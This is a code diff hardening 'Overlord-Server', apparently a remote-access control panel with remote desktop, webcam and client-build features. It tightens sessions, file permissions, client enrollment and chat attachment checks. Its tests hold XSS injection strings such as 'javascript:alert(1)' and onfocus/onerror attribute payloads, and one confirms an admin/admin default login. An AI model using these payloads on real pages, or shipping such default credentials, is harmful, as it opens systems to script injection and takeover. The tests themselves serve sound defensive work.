revokeSessionByTokenHash,
updateSessionActivity,
@@ -85,19 +86,15 @@ export async function generateToken(
const now = Math.floor(Date.now() / 1000);
const expiresAt = now + getSessionTtlSeconds();
- try {
- createSession({
- id: crypto.randomUUID(),
- userId: user.id,
- tokenHash,
- ip: sessionMeta?.ip || null,
- userAgent: sessionMeta?.userAgent || null,
- createdAt: now,
- expiresAt,
- });
- } catch (e) {
- console.error("[auth] Failed to create session record:", e);
- }
+ createSession({
+ id: crypto.randomUUID(),
+ userId: user.id,
+ tokenHash,
+ ip: sessionMeta?.ip || null,
+ userAgent: sessionMeta?.userAgent || null,
+ createdAt: now,
+ expiresAt,
+ });
return token;
}
@@ -107,6 +104,12 @@ export async function verifyToken(token: string): Promise
{
return null;
}
+ const session = getSessionByTokenHash(hashTokenForSession(token));
+ if (!session || session.expiresAt <= Math.floor(Date.now() / 1000)) {
+ tokenCache.delete(token);
+ return null;
+ }
+
const cached = tokenCache.get(token);
if (cached) {
const age = Date.now() - cached.timestamp;
diff --git a/Overlord-Server/src/bootstrap-password-compatibility.test.ts b/Overlord-Server/src/bootstrap-password-compatibility.test.ts
new file mode 100644
index 0000000..e2caf58
--- /dev/null
+++ b/Overlord-Server/src/bootstrap-password-compatibility.test.ts
@@ -0,0 +1,9 @@
+import { expect, test } from "bun:test";
+import { getConfig } from "./config";
+
+test("defaults the bootstrap login to admin/admin when no override is supplied", () => {
+ const config = getConfig();
+ expect(config.auth.username).toBe("admin");
+ expect(config.auth.password).toBe("admin");
+ expect(config.auth.passwordIsUserSupplied).toBe(false);
+});
diff --git a/Overlord-Server/src/browser-render-security.test.ts b/Overlord-Server/src/browser-render-security.test.ts
new file mode 100644
index 0000000..cd6a95a
--- /dev/null
+++ b/Overlord-Server/src/browser-render-security.test.ts
@@ -0,0 +1,105 @@
+import { describe, expect, test } from "bun:test";
+
+const navTemplateUrl = new URL("../public/assets/nav/template.js", import.meta.url).href;
+const { dropdownItem, sidebarChild } = await import(navTemplateUrl) as {
+ dropdownItem: (child: Record) => string;
+ sidebarChild: (child: Record) => string;
+};
+
+describe("backstage fake-client rendering", () => {
+ test("does not concatenate lookup paths or window-map values into HTML", async () => {
+ const source = await Bun.file(new URL("../public/assets/backstage.js", import.meta.url)).text();
+ expect(source).not.toContain("+ msg.path");
+ expect(source).not.toContain("windowMapCanvas.innerHTML = html");
+ expect(source).not.toContain("windowMapList.innerHTML = listHtml");
+ expect(source).toContain("normalizeWindowMapPayload");
+ expect(source).toContain("document.createTextNode((killExe ?");
+ expect(source).toContain("windowMapCanvas.replaceChildren(canvasFragment)");
+ expect(source).toContain("windowMapList.replaceChildren(list)");
+ });
+
+ test("renders fake-client stream status labels as text", async () => {
+ const source = await Bun.file(new URL("../public/assets/backstage.js", import.meta.url)).text();
+ expect(source).not.toContain('statusEl.innerHTML = `${icons[state] || icons.idle} ${label} `');
+ expect(source).toContain('labelEl.textContent = String(label || "")');
+ });
+});
+
+describe("remote media fake-client rendering", () => {
+ test("renders remote desktop status and permission names as text", async () => {
+ const source = await Bun.file(new URL("../public/assets/remotedesktop.js", import.meta.url)).text();
+ expect(source).not.toContain('statusEl.innerHTML = `${icons[state] || icons.idle} ${label} `');
+ expect(source).not.toContain("macOS permissions missing: ${list}");
+ expect(source).toContain('labelEl.textContent = String(label || "")');
+ expect(source).toContain("missingEl.textContent = list");
+ });
+
+ test("renders webcam status reasons as text", async () => {
+ const source = await Bun.file(new URL("../public/assets/webcam.js", import.meta.url)).text();
+ expect(source).not.toContain('statusEl.innerHTML = `${icons[state] || icons.idle} ${label} `');
+ expect(source).toContain('labelEl.textContent = String(label || "")');
+ });
+});
+
+describe("shared connection-status rendering", () => {
+ test("keeps dynamic status labels out of HTML templates", async () => {
+ const [consoleSource, processSource, voiceSource] = await Promise.all([
+ Bun.file(new URL("../public/assets/console.js", import.meta.url)).text(),
+ Bun.file(new URL("../public/assets/processes.js", import.meta.url)).text(),
+ Bun.file(new URL("../public/assets/voice.js", import.meta.url)).text(),
+ ]);
+
+ expect(consoleSource).not.toContain("${label}");
+ expect(consoleSource).toContain("document.createTextNode");
+ expect(processSource).not.toContain("${text}");
+ expect(processSource).toContain("document.createTextNode");
+ expect(voiceSource).not.toContain("${text} ");
+ expect(voiceSource).toContain('label.textContent = String(text || "")');
+ });
+});
+
+describe("settings and build API rendering", () => {
+ test("keeps MFA SVG responses out of the document DOM and rejects executable links", async () => {
+ const source = await Bun.file(new URL("../public/assets/settings.js", import.meta.url)).text();
+ expect(source).not.toContain('mfaQrCode.innerHTML = data.qrSvg');
+ expect(source).not.toContain('mfaOtpauthLink.href = data.otpauthUrl');
+ expect(source).toContain("data:image/svg+xml;charset=utf-8");
+ expect(source).toContain('parsed.protocol === "otpauth:" && parsed.hostname === "totp"');
+ });
+
+ test("escapes build eligibility errors and coerces response counts", async () => {
+ const source = await Bun.file(new URL("../public/assets/build.js", import.meta.url)).text();
+ expect(source).not.toContain('${data.error || "Failed to check eligible clients"}');
+ expect(source).not.toContain("Error: ${err.message}");
+ expect(source).toContain('escapeHtml(data.error || "Failed to check eligible clients")');
+ expect(source).toContain("Math.trunc(Number(data.eligible) || 0)");
+ });
+});
+
+describe("dynamic plugin navigation rendering", () => {
+ const hostile = {
+ href: "javascript:alert(1)",
+ linkId: 'plugin\" autofocus onfocus=\"alert(1)',
+ icon: 'fa-cube\" onmouseover=\"alert(1)',
+ iconColor: "text-red-400 ',
+ };
+
+ test("escapes labels and rejects executable topbar attributes", () => {
+ const html = dropdownItem(hostile);
+ expect(html).toContain('href="#"');
+ expect(html).toContain("<img src=x onerror="alert(1)">");
+ expect(html).not.toContain(" {
+ const html = sidebarChild(hostile);
+ expect(html).toContain('href="#"');
+ expect(html).toContain("<img src=x onerror="alert(1)">");
+ expect(html).not.toContain(" void;
+ onEvent: (ctx: any, clientId: string, event: string, payload: unknown) => void;
+ rpc: {
+ store_attachment: (ctx: any, params: unknown) => any;
+ get_attachment: (ctx: any, params: unknown) => any;
+ };
+ };
+ MAX_CHAT_ATTACHMENT_SIZE: number;
+ MAX_CHAT_INCOMING_RATE_KEYS: number;
+ MAX_CHAT_ROWS_PRUNED_PER_SCOPE: number;
+ createChatMessageStore: (database: Database, quotaProvider: () => any) => (record: any) => any;
+ detectChatRasterMime: (buf: Buffer) => string | null;
+ getChatRuntimeStats: () => { incomingRateKeys: number };
+ validateChatAttachment: (input: unknown) => any;
+};
+
+const {
+ default: chatPlugin,
+ MAX_CHAT_ATTACHMENT_SIZE,
+ MAX_CHAT_INCOMING_RATE_KEYS,
+ MAX_CHAT_ROWS_PRUNED_PER_SCOPE,
+ createChatMessageStore,
+ detectChatRasterMime,
+ getChatRuntimeStats,
+ validateChatAttachment,
+} = chatModule;
+
+const PNG_1X1 = Buffer.from(
+ "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+A8AAQUBAScY42YAAAAASUVORK5CYII=",
+ "base64",
+);
+const GIF_1X1 = Buffer.from(
+ "R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==",
+ "base64",
+);
+const JPEG_ENVELOPE = Buffer.from([
+ 0xff, 0xd8,
+ 0xff, 0xc0, 0x00, 0x0b, 0x08, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x11, 0x00,
+ 0xff, 0xd9,
+]);
+const WEBP_ENVELOPE = Buffer.from(
+ "UklGRiIAAABXRUJQVlA4IBYAAAAwAQCdASoBAAEAAUAmJaQAA3AA/v89",
+ "base64",
+);
+const APNG_ENVELOPE = (() => {
+ const animationControl = Buffer.alloc(20);
+ animationControl.writeUInt32BE(8, 0);
+ animationControl.write("acTL", 4, "ascii");
+ animationControl.writeUInt32BE(2, 8);
+ return Buffer.concat([PNG_1X1.subarray(0, 33), animationControl, PNG_1X1.subarray(33)]);
+})();
+
+function payload(buf: Buffer, mime: string, name = "image") {
+ return { name, mime, dataB64: buf.toString("base64") };
+}
+
+function insertionContext() {
+ let inserts = 0;
+ const broadcasts: unknown[] = [];
+ const warnings: string[] = [];
+ return {
+ ctx: {
+ db: {
+ transaction: (fn: (record: unknown) => unknown) => fn,
+ prepare: (sql: string) => ({
+ get: () => ({ messages: 0, message_bytes: 0, attachment_bytes: 0 }),
+ all: () => [],
+ run: () => {
+ if (/\bINSERT\b/i.test(sql)) inserts += 1;
+ return { lastInsertRowid: inserts };
+ },
+ }),
+ },
+ broadcast: (_event: string, value: unknown) => broadcasts.push(value),
+ log: { warn: (value: string) => warnings.push(value) },
+ },
+ get inserts() { return inserts; },
+ broadcasts,
+ warnings,
+ };
+}
+
+const GENEROUS_CHAT_STORAGE_LIMITS = {
+ perClientMessages: 100_000,
+ perClientMessageBytes: 1024 * 1024 * 1024,
+ perClientAttachmentBytes: 1024 * 1024 * 1024,
+ globalMessages: 100_000,
+ globalMessageBytes: 1024 * 1024 * 1024,
+ globalAttachmentBytes: 1024 * 1024 * 1024,
+};
+
+function chatRecord(clientId: string, timestamp: number, text = "hello") {
+ return {
+ clientId,
+ sender: "Client",
+ direction: "from_target",
+ text,
+ timestamp,
+ };
+}
+
+function chatStorageHarness(overrides: Record = {}) {
+ const database = new Database(":memory:");
+ chatPlugin.setup({ db: database });
+ const limits = { ...GENEROUS_CHAT_STORAGE_LIMITS, ...overrides };
+ return {
+ database,
+ save: createChatMessageStore(database, () => limits),
+ };
+}
+
+describe("chat raster attachment validation", () => {
+ test("recognizes only bounded still-image raster envelopes", () => {
+ expect(detectChatRasterMime(PNG_1X1)).toBe("image/png");
+ expect(detectChatRasterMime(JPEG_ENVELOPE)).toBe("image/jpeg");
+ expect(detectChatRasterMime(GIF_1X1)).toBeNull();
+ expect(detectChatRasterMime(APNG_ENVELOPE)).toBeNull();
+ expect(detectChatRasterMime(WEBP_ENVELOPE)).toBe("image/webp");
+ expect(detectChatRasterMime(Buffer.from(" "))).toBeNull();
+ });
+
+ test("accepts valid raster bytes and canonicalizes metadata", () => {
+ const result = validateChatAttachment(payload(PNG_1X1, "image/png", "folder/one.png"));
+ expect(result.ok).toBe(true);
+ expect(result.mime).toBe("image/png");
+ expect(result.name).toBe("folder_one.png");
+ expect(result.buf).toEqual(PNG_1X1);
+ });
+
+ test("forces active files to inert downloads and rejects image spoofing or invalid base64", () => {
+ const svg = Buffer.from(" ");
+ expect(validateChatAttachment(payload(svg, "image/svg+xml")).mime).toBe("application/octet-stream");
+ expect(validateChatAttachment(payload(svg, "image/png")).ok).toBe(false);
+ expect(validateChatAttachment(payload(PNG_1X1, "image/jpeg")).error).toMatch(/MIME/i);
+ expect(validateChatAttachment(payload(Buffer.concat([JPEG_ENVELOPE, Buffer.from("")]), "image/jpeg")).ok).toBe(false);
+ expect(validateChatAttachment({ mime: "image/png", dataB64: "abcd!!!!" }).ok).toBe(false);
+ });
+
+ test("rejects encoded payloads above the server-side limit", () => {
+ const tooLong = "A".repeat(Math.ceil(MAX_CHAT_ATTACHMENT_SIZE / 3) * 4 + 4);
+ const result = validateChatAttachment({ mime: "image/png", dataB64: tooLong });
+ expect(result.ok).toBe(false);
+ expect(result.error).toMatch(/64 MB/);
+
+ // MAX + 1 happens to have the same base64 character count as MAX, so this
+ // also verifies the decoded-byte check rather than only the string guard.
+ const decodedOversize = Buffer.alloc(MAX_CHAT_ATTACHMENT_SIZE + 1).toString("base64");
+ const decodedResult = validateChatAttachment({ mime: "image/png", dataB64: decodedOversize });
+ expect(decodedResult.ok).toBe(false);
+ expect(decodedResult.error).toMatch(/64 MB/);
+ });
+
+ test("drops an unsafe fake-client event before database insertion or broadcast", () => {
+ const state = insertionContext();
+ chatPlugin.onEvent(
+ state.ctx,
+ "fake-client",
+ "chat_attachment",
+ payload(Buffer.from(""), "image/png"),
+ );
+ expect(state.inserts).toBe(0);
+ expect(state.broadcasts).toHaveLength(0);
+ expect(state.warnings).toHaveLength(1);
+ });
+
+ test("stores and broadcasts a verified fake-client raster attachment", () => {
+ const state = insertionContext();
+ chatPlugin.onEvent(
+ state.ctx,
+ "client-1",
+ "chat_attachment",
+ { ...payload(PNG_1X1, "image/png", "shot.png"), from: "Client" },
+ );
+ expect(state.inserts).toBe(1);
+ expect(state.broadcasts).toHaveLength(1);
+ expect(state.broadcasts[0]).toMatchObject({
+ clientId: "client-1",
+ attachment: { name: "shot.png", mime: "image/png", size: PNG_1X1.length },
+ });
+ });
+
+ test("operator RPC stores active formats as inert downloads", () => {
+ const state = insertionContext();
+ const result = chatPlugin.rpc.store_attachment(
+ state.ctx,
+ {
+ ...payload(Buffer.from(""), "text/html"),
+ clientId: "client-a",
+ sender: "Operator",
+ },
+ );
+ expect(result.ok).toBe(true);
+ expect(result.mime).toBe("application/octet-stream");
+ expect(state.inserts).toBe(1);
+ });
+
+ test("serves an unsafe legacy database row only as an inert download", () => {
+ const svg = Buffer.from(" ");
+ const ctx = {
+ db: {
+ prepare: () => ({
+ get: () => ({
+ attachment_name: "legacy.svg",
+ attachment_mime: "image/svg+xml",
+ attachment_data: svg,
+ }),
+ }),
+ },
+ };
+ const result = chatPlugin.rpc.get_attachment(ctx, { id: 1, clientId: "client-a" });
+ expect(result).toEqual({
+ ok: true,
+ name: "legacy.svg",
+ mime: "application/octet-stream",
+ dataB64: svg.toString("base64"),
+ });
+ });
+});
+
+describe("chat fleet storage quotas", () => {
+ test("prunes the oldest message across distinct client identities", () => {
+ const { database, save } = chatStorageHarness({ globalMessages: 2 });
+ try {
+ expect(save(chatRecord("client-a", 1)).ok).toBe(true);
+ expect(save(chatRecord("client-b", 2)).ok).toBe(true);
+ expect(save(chatRecord("client-c", 3)).ok).toBe(true);
+ expect(database.query(
+ "SELECT client_id FROM messages ORDER BY timestamp",
+ ).all()).toEqual([{ client_id: "client-b" }, { client_id: "client-c" }]);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("enforces fleet attachment bytes across distinct clients", () => {
+ const { database, save } = chatStorageHarness({ globalAttachmentBytes: 10 });
+ try {
+ expect(save({
+ ...chatRecord("client-a", 1, ""),
+ attachmentName: "a.png",
+ attachmentMime: "image/png",
+ attachmentData: Buffer.alloc(6, 1),
+ }).ok).toBe(true);
+ expect(save({
+ ...chatRecord("client-b", 2, ""),
+ attachmentName: "b.png",
+ attachmentMime: "image/png",
+ attachmentData: Buffer.alloc(6, 2),
+ }).ok).toBe(true);
+ expect(database.query(
+ "SELECT client_id, length(attachment_data) AS bytes FROM messages",
+ ).all()).toEqual([{ client_id: "client-b", bytes: 6 }]);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("accounts UTF-8 bytes in legacy text-typed attachment rows", () => {
+ const { database, save } = chatStorageHarness({ globalAttachmentBytes: 5 });
+ try {
+ database.prepare(
+ `INSERT INTO messages
+ (client_id, sender, direction, text, timestamp, attachment_data)
+ VALUES ('legacy', 'Client', 'from_target', '', 1, ?)`,
+ ).run("界");
+ expect(save({
+ ...chatRecord("incoming", 2, ""),
+ attachmentName: "incoming.png",
+ attachmentMime: "image/png",
+ attachmentData: Buffer.alloc(3, 1),
+ }).ok).toBe(true);
+ expect(database.query(
+ "SELECT client_id FROM messages",
+ ).all()).toEqual([{ client_id: "incoming" }]);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("accounts UTF-8 message payload bytes independently of row count", () => {
+ const { database, save } = chatStorageHarness({ globalMessageBytes: 160 });
+ try {
+ const text = "界".repeat(20);
+ expect(save(chatRecord("a", 1, text)).ok).toBe(true);
+ expect(save(chatRecord("b", 2, text)).ok).toBe(true);
+ expect(database.query(
+ "SELECT client_id FROM messages",
+ ).all()).toEqual([{ client_id: "b" }]);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("commits a bounded global cleanup batch and converges on a later attempt", () => {
+ const { database, save } = chatStorageHarness({ globalMessages: 1 });
+ try {
+ const insert = database.prepare(
+ `INSERT INTO messages(client_id, sender, direction, text, timestamp)
+ VALUES (?, 'Client', 'from_target', 'old', ?)`,
+ );
+ database.transaction(() => {
+ for (let i = 0; i < MAX_CHAT_ROWS_PRUNED_PER_SCOPE + 2; i += 1) {
+ insert.run(`legacy-${i}`, i);
+ }
+ })();
+
+ expect(save(chatRecord("incoming", 10_000)).ok).toBe(false);
+ expect((database.query(
+ "SELECT COUNT(*) AS count FROM messages",
+ ).get() as { count: number }).count).toBe(2);
+ expect(save(chatRecord("incoming", 10_000)).ok).toBe(true);
+ expect(database.query(
+ "SELECT client_id FROM messages",
+ ).all()).toEqual([{ client_id: "incoming" }]);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("does not double-count rows pruned by client and fleet scopes", () => {
+ const { database, save } = chatStorageHarness({
+ perClientMessages: 1,
+ globalMessages: 1,
+ });
+ try {
+ const insert = database.prepare(
+ `INSERT INTO messages(client_id, sender, direction, text, timestamp)
+ VALUES ('same-client', 'Client', 'from_target', 'old', ?)`,
+ );
+ database.transaction(() => {
+ for (let i = 0; i < MAX_CHAT_ROWS_PRUNED_PER_SCOPE + 500; i += 1) {
+ insert.run(i);
+ }
+ })();
+
+ expect(save(chatRecord("same-client", 10_000)).ok).toBe(true);
+ expect(database.query(
+ "SELECT client_id, text FROM messages",
+ ).all()).toEqual([{ client_id: "same-client", text: "hello" }]);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("rolls quota pruning back when the admitted insert fails", () => {
+ const { database, save } = chatStorageHarness({ globalMessages: 1 });
+ try {
+ expect(save(chatRecord("retained", 1)).ok).toBe(true);
+ database.exec(`
+ CREATE TRIGGER reject_incoming_chat BEFORE INSERT ON messages
+ WHEN new.client_id = 'incoming'
+ BEGIN
+ SELECT RAISE(ABORT, 'injected failure');
+ END;
+ `);
+
+ expect(() => save(chatRecord("incoming", 2))).toThrow();
+ expect(database.query(
+ "SELECT client_id FROM messages",
+ ).all()).toEqual([{ client_id: "retained" }]);
+ } finally {
+ database.close();
+ }
+ });
+
+ test("does not retain per-identity rate metadata for compatible plugin traffic", () => {
+ const prefix = `rate-${crypto.randomUUID()}`;
+ for (let index = 0; index < MAX_CHAT_INCOMING_RATE_KEYS + 32; index += 1) {
+ chatPlugin.onEvent({}, `${prefix}-${index}`, "chat_message", {});
+ }
+ expect(getChatRuntimeStats().incomingRateKeys).toBe(0);
+ });
+});
+
+describe("chat browser attachment handling", () => {
+ test("does not navigate attachment blobs as top-level documents", async () => {
+ const source = await Bun.file(new URL("../../plugins/chat/chat.js", import.meta.url)).text();
+ expect(source).not.toContain("window.open(");
+ expect(source).toContain("SAFE_IMAGE_MIMES.has");
+ expect(source).toContain("showImagePreview");
+ });
+});
diff --git a/Overlord-Server/src/config.ts b/Overlord-Server/src/config.ts
index 5f7e8f6..5efeb5b 100644
--- a/Overlord-Server/src/config.ts
+++ b/Overlord-Server/src/config.ts
@@ -1,4 +1,4 @@
-import { existsSync, readFileSync, writeFileSync } from "fs";
+import { chmodSync, existsSync, readFileSync, writeFileSync } from "fs";
import { writeFile, mkdir } from "fs/promises";
import { dirname, resolve } from "path";
import logger from "./logger";
@@ -436,12 +436,15 @@ function loadSaveSecrets(savePath: string): SaveSecrets {
}
}
-function persistSaveSecrets(savePath: string, secrets: SaveSecrets): void {
+function persistSaveSecrets(savePath: string, secrets: SaveSecrets): boolean {
try {
- writeFileSync(savePath, JSON.stringify(secrets, null, 2));
+ writeFileSync(savePath, JSON.stringify(secrets, null, 2), { mode: 0o600 });
+ if (process.platform !== "win32") chmodSync(savePath, 0o600);
logger.info(`Persisted secrets to ${savePath}`);
+ return true;
} catch (error) {
logger.warn("Failed to persist save.json secrets", error);
+ return false;
}
}
@@ -506,7 +509,14 @@ async function writePersistentFileConfig(fileConfig: any): Promise {
await mkdir(dirname(configPath), { recursive: true });
} catch {}
- await writeFile(configPath, JSON.stringify(fileConfig, null, 2));
+ await writeFile(configPath, JSON.stringify(fileConfig, null, 2), { mode: 0o600 });
+ if (process.platform !== "win32") chmodSync(configPath, 0o600);
+}
+
+function writePersistentFileConfigSync(fileConfig: any): void {
+ const configPath = getPersistentConfigPath();
+ writeFileSync(configPath, JSON.stringify(fileConfig, null, 2), { mode: 0o600 });
+ if (process.platform !== "win32") chmodSync(configPath, 0o600);
}
export function loadConfig(): Config {
@@ -549,11 +559,9 @@ export function loadConfig(): Config {
const passwordFromEnv = process.env.OVERLORD_PASS;
const passwordFromConfig = fileConfig.auth?.password;
- const passwordFromSaved = savedSecrets.auth?.bootstrapPassword;
- let finalBootstrapPassword =
+ const finalBootstrapPassword =
passwordFromEnv ||
passwordFromConfig ||
- passwordFromSaved ||
DEFAULT_CONFIG.auth.password;
const passwordIsUserSupplied =
Boolean(passwordFromEnv) ||
@@ -1054,10 +1062,11 @@ thumbnails: {
if (saveChanged) {
const nextSecrets: SaveSecrets = {
+ ...savedSecrets,
auth: {
+ ...savedSecrets.auth,
jwtSecret: finalJwtSecret,
agentToken: finalAgentToken,
- bootstrapPassword: finalBootstrapPassword,
},
};
persistSaveSecrets(savePath, nextSecrets);
@@ -1610,7 +1619,7 @@ export function setBuildBanlist(banlist: string[]): void {
const fileConfig = readFileConfigForUpdate();
fileConfig.buildSigning = next;
try {
- writeFileSync(getPersistentConfigPath(), JSON.stringify(fileConfig, null, 2));
+ writePersistentFileConfigSync(fileConfig);
} catch (err) {
logger.warn("Failed to persist buildSigning banlist", err);
}
diff --git a/Overlord-Server/src/db/repositories.ts b/Overlord-Server/src/db/repositories.ts
index 037ed06..d1ec9d0 100644
--- a/Overlord-Server/src/db/repositories.ts
+++ b/Overlord-Server/src/db/repositories.ts
@@ -1,7 +1,7 @@
import type { ClientInfo, ListFilters, ListResult, ClientRole } from "../types";
import Fuse from "fuse.js";
import { getThumbnailSummaries } from "../thumbnails";
-import { db, dbPath } from "./connection";
+import { db, dbPath, type TypedDatabase } from "./connection";
import "./schema";
export * from "./repositories/chat";
@@ -41,8 +41,8 @@ const UPSERT_CLIENT_ROW_SQL = `INSERT INTO clients (id, hwid, role, ip, host, os
last_seen=excluded.last_seen,
online=COALESCE(excluded.online, clients.online),
ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms),
- build_tag=COALESCE(excluded.build_tag, clients.build_tag),
- built_by_user_id=COALESCE(excluded.built_by_user_id, clients.built_by_user_id),
+ build_tag=COALESCE(clients.build_tag, excluded.build_tag),
+ built_by_user_id=COALESCE(clients.built_by_user_id, excluded.built_by_user_id),
enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE COALESCE(clients.enrollment_status, 'pending') END,
public_key=COALESCE(excluded.public_key, clients.public_key),
key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint),
@@ -56,13 +56,26 @@ const UPSERT_CLIENT_ROW_SQL = `INSERT INTO clients (id, hwid, role, ip, host, os
is_admin=COALESCE(excluded.is_admin, clients.is_admin),
elevation=COALESCE(excluded.elevation, clients.elevation),
permissions=COALESCE(excluded.permissions, clients.permissions)
+ WHERE
+ excluded.public_key IS NULL
+ OR clients.public_key = excluded.public_key
+ OR (
+ clients.public_key IS NULL
+ AND COALESCE(clients.enrollment_status, 'pending') <> 'approved'
+ )
`;
const upsertClientRowStmt = db.prepare(UPSERT_CLIENT_ROW_SQL);
-function upsertClientRowInternal(partial: ClientDbRow): void {
+function positiveEnrollmentLimit(name: string, fallback: number, max: number): number {
+ const parsed = Number(process.env[name]);
+ if (!Number.isFinite(parsed) || parsed <= 0) return fallback;
+ return Math.min(max, Math.max(1, Math.floor(parsed)));
+}
+
+function upsertClientRowInternal(partial: ClientDbRow): boolean {
const now = partial.lastSeen ?? Date.now();
- upsertClientRowStmt.run(
+ const result = upsertClientRowStmt.run(
partial.id,
partial.hwid ?? partial.id,
partial.role ?? null,
@@ -97,17 +110,83 @@ function upsertClientRowInternal(partial: ClientDbRow): void {
partial.permissions ? JSON.stringify(partial.permissions) : null,
);
- if (partial.hwid) {
- db.run(
- `DELETE FROM clients WHERE hwid=? AND id<>?`,
- partial.hwid,
- partial.id,
- );
- }
+ return result.changes > 0;
}
+function publicKeyOwnedByAnotherClient(partial: ClientDbRow): boolean {
+ if (!partial.publicKey) return false;
+ const owner = db
+ .query<{ id: string }>("SELECT id FROM clients WHERE public_key=? LIMIT 1")
+ .get(partial.publicKey);
+ return !!owner && owner.id !== partial.id;
+}
+
+const upsertClientRowTx = db.transaction((partial: ClientDbRow) => {
+ if (publicKeyOwnedByAnotherClient(partial)) return false;
+ return upsertClientRowInternal(partial);
+});
+
+const upsertPendingClientRowTx = db.transaction((partial: ClientDbRow & { publicKey: string }) => {
+ const now = partial.lastSeen ?? Date.now();
+ const ttlHours = positiveEnrollmentLimit("OVERLORD_PENDING_ENROLLMENT_TTL_HOURS", 24 * 7, 24 * 365);
+ const stale = db.run(
+ `DELETE FROM clients WHERE id IN (
+ SELECT id FROM clients
+ WHERE COALESCE(enrollment_status, 'pending') = 'pending'
+ AND last_seen < ?
+ LIMIT 500
+ )`,
+ now - ttlHours * 60 * 60 * 1000,
+ );
+ const existing = db
+ .query<{ public_key: string | null }>(
+ `SELECT public_key FROM clients WHERE id=? LIMIT 1`,
+ )
+ .get(partial.id);
+
+ const keyOwner = db
+ .query<{ id: string }>("SELECT id FROM clients WHERE public_key=? LIMIT 1")
+ .get(partial.publicKey);
+
+ // An enrollment request may refresh a row only when it proves the same
+ // identity. In particular, a legacy approved row without a key must not be
+ // claimed by supplying a new key for its ID.
+ if (existing && existing.public_key !== partial.publicKey) {
+ return { changed: false, pruned: stale.changes > 0 };
+ }
+ if (keyOwner && keyOwner.id !== partial.id) {
+ return { changed: false, pruned: stale.changes > 0 };
+ }
+
+ if (!existing) {
+ const maxGlobal = positiveEnrollmentLimit("OVERLORD_MAX_PENDING_ENROLLMENTS", 100_000, 100_000);
+ const maxPerIp = positiveEnrollmentLimit("OVERLORD_MAX_PENDING_ENROLLMENTS_PER_IP", 10_000, 10_000);
+ const globalCount = db.query<{ count: number }>(
+ "SELECT COUNT(*) AS count FROM clients WHERE COALESCE(enrollment_status, 'pending')='pending'",
+ ).get()?.count ?? 0;
+ if (globalCount >= maxGlobal) {
+ return { changed: false, pruned: stale.changes > 0 };
+ }
+ if (partial.ip) {
+ const ipCount = db.query<{ count: number }>(
+ `SELECT COUNT(*) AS count FROM clients
+ WHERE COALESCE(enrollment_status, 'pending')='pending' AND ip=?`,
+ ).get(partial.ip)?.count ?? 0;
+ if (ipCount >= maxPerIp) {
+ return { changed: false, pruned: stale.changes > 0 };
+ }
+ }
+ }
+
+ return {
+ changed: upsertClientRowInternal({ ...partial, enrollmentStatus: "pending" }),
+ pruned: stale.changes > 0,
+ };
+});
+
const upsertClientRowsTx = db.transaction((rows: ClientDbRow[]) => {
for (const row of rows) {
+ if (publicKeyOwnedByAnotherClient(row)) continue;
upsertClientRowInternal(row);
}
});
@@ -115,8 +194,21 @@ const upsertClientRowsTx = db.transaction((rows: ClientDbRow[]) => {
export function upsertClientRow(
partial: ClientDbRow,
) {
- upsertClientRowInternal(partial);
- invalidateClientMetricsSummaryCache();
+ const changed = upsertClientRowTx(partial);
+ if (changed) invalidateClientMetricsSummaryCache();
+ return changed;
+}
+
+/**
+ * Persist an unapproved enrollment without allowing the claimed ID or HWID to
+ * mutate a different client identity.
+ */
+export function upsertPendingClientRow(
+ partial: ClientDbRow & { publicKey: string },
+): boolean {
+ const result = upsertPendingClientRowTx(partial);
+ if (result.changed || result.pruned) invalidateClientMetricsSummaryCache();
+ return result.changed;
}
export function upsertClientRows(rows: ClientDbRow[]): void {
@@ -1712,21 +1804,213 @@ export interface NotificationScreenshotRecord {
bytes: Uint8Array;
}
-export function saveNotificationScreenshot(record: NotificationScreenshotRecord) {
- db.run(
- `INSERT OR REPLACE INTO notification_screenshots
- (id, notification_id, client_id, ts, format, width, height, bytes)
- VALUES (?, ?, ?, ?, ?, ?, ?, ?)`
- ,
- record.id,
- record.notificationId,
- record.clientId,
- record.ts,
- record.format,
- record.width ?? null,
- record.height ?? null,
- record.bytes,
+export const MAX_NOTIFICATION_SCREENSHOT_RECORD_BYTES = 64 * 1024 * 1024;
+
+export type NotificationScreenshotQuotaLimits = {
+ perClientCount: number;
+ perClientBytes: number;
+ globalCount: number;
+ globalBytes: number;
+};
+
+const DEFAULT_NOTIFICATION_SCREENSHOT_QUOTAS: NotificationScreenshotQuotaLimits = {
+ perClientCount: 10_000,
+ perClientBytes: 1024 * 1024 * 1024,
+ globalCount: 100_000,
+ globalBytes: 16 * 1024 * 1024 * 1024,
+};
+const MAX_SCREENSHOT_ROWS_PRUNED_PER_SAVE = 250;
+
+function notificationScreenshotLimit(
+ name: string,
+ fallback: number,
+ maximum: number,
+): number {
+ const value = Number(process.env[name]);
+ if (!Number.isSafeInteger(value) || value <= 0) return fallback;
+ return Math.min(value, maximum);
+}
+
+function getNotificationScreenshotQuotaLimits(): NotificationScreenshotQuotaLimits {
+ return {
+ perClientCount: notificationScreenshotLimit(
+ "OVERLORD_NOTIFICATION_SCREENSHOT_CLIENT_MAX_COUNT",
+ DEFAULT_NOTIFICATION_SCREENSHOT_QUOTAS.perClientCount,
+ 10_000,
+ ),
+ perClientBytes: notificationScreenshotLimit(
+ "OVERLORD_NOTIFICATION_SCREENSHOT_CLIENT_MAX_BYTES",
+ DEFAULT_NOTIFICATION_SCREENSHOT_QUOTAS.perClientBytes,
+ 1024 * 1024 * 1024,
+ ),
+ globalCount: notificationScreenshotLimit(
+ "OVERLORD_NOTIFICATION_SCREENSHOT_GLOBAL_MAX_COUNT",
+ DEFAULT_NOTIFICATION_SCREENSHOT_QUOTAS.globalCount,
+ 100_000,
+ ),
+ globalBytes: notificationScreenshotLimit(
+ "OVERLORD_NOTIFICATION_SCREENSHOT_GLOBAL_MAX_BYTES",
